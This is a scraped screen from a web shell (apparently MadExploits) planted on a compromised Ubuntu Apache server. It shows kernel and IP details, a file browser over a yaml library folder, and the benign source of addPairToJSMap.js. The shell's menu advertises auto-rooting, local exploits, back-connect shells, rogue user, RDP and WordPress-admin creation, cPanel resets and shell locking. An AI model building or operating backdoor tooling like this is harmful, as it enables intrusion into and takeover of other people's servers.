Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
yaml /
dist /
nodes /
[ HOME SHELL ]
Name
Size
Permission
Action
Alias.d.ts
1.02
KB
-rw-r--r--
Alias.js
3.34
KB
-rw-r--r--
Collection.d.ts
2.85
KB
-rw-r--r--
Collection.js
5.1
KB
-rw-r--r--
Node.d.ts
2.5
KB
-rw-r--r--
Node.js
1.35
KB
-rw-r--r--
Pair.d.ts
1.24
KB
-rw-r--r--
Pair.js
1.2
KB
-rw-r--r--
Scalar.d.ts
1.62
KB
-rw-r--r--
Scalar.js
759
B
-rw-r--r--
YAMLMap.d.ts
2.35
KB
-rw-r--r--
YAMLMap.js
4.99
KB
-rw-r--r--
YAMLSeq.d.ts
2.47
KB
-rw-r--r--
YAMLSeq.js
3.58
KB
-rw-r--r--
addPairToJSMap.d.ts
240
B
-rw-r--r--
addPairToJSMap.js
2.22
KB
-rw-r--r--
identity.d.ts
1.37
KB
-rw-r--r--
identity.js
1.75
KB
-rw-r--r--
toJS.d.ts
879
B
-rw-r--r--
toJS.js
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : addPairToJSMap.js
'use strict'; var log = require('../log.js'); var merge = require('../schema/yaml-1.1/merge.js'); var stringify = require('../stringify/stringify.js'); var identity = require('./identity.js'); var toJS = require('./toJS.js'); function addPairToJSMap(ctx, map, { key, value }) { if (identity.isNode(key) && key.addToJSMap) key.addToJSMap(ctx, map, value); // TODO: Should drop this special case for bare << handling else if (merge.isMergeKey(ctx, key)) merge.addMergeToJSMap(ctx, map, value); else { const jsKey = toJS.toJS(key, '', ctx); if (map instanceof Map) { map.set(jsKey, toJS.toJS(value, jsKey, ctx)); } else if (map instanceof Set) { map.add(jsKey); } else { const stringKey = stringifyKey(key, jsKey, ctx); const jsValue = toJS.toJS(value, stringKey, ctx); if (stringKey in map) Object.defineProperty(map, stringKey, { value: jsValue, writable: true, enumerable: true, configurable: true }); else map[stringKey] = jsValue; } } return map; } function stringifyKey(key, jsKey, ctx) { if (jsKey === null) return ''; if (typeof jsKey !== 'object') return String(jsKey); if (identity.isNode(key) && ctx?.doc) { const strCtx = stringify.createStringifyContext(ctx.doc, {}); strCtx.anchors = new Set(); for (const node of ctx.anchors.keys()) strCtx.anchors.add(node.anchor); strCtx.inFlow = true; strCtx.inStringifyKey = true; const strKey = key.toString(strCtx); if (!ctx.mapKeyWarned) { let jsonStr = JSON.stringify(strKey); if (jsonStr.length > 40) jsonStr = jsonStr.substring(0, 36) + '..."'; log.warn(ctx.doc.options.logLevel, `Keys with collection values will be stringified due to JS Object restrictions: ${jsonStr}. Set mapAsMap: true to use object keys.`); ctx.mapKeyWarned = true; } return strKey; } return JSON.stringify(jsKey); } exports.addPairToJSMap = addPairToJSMap;
Close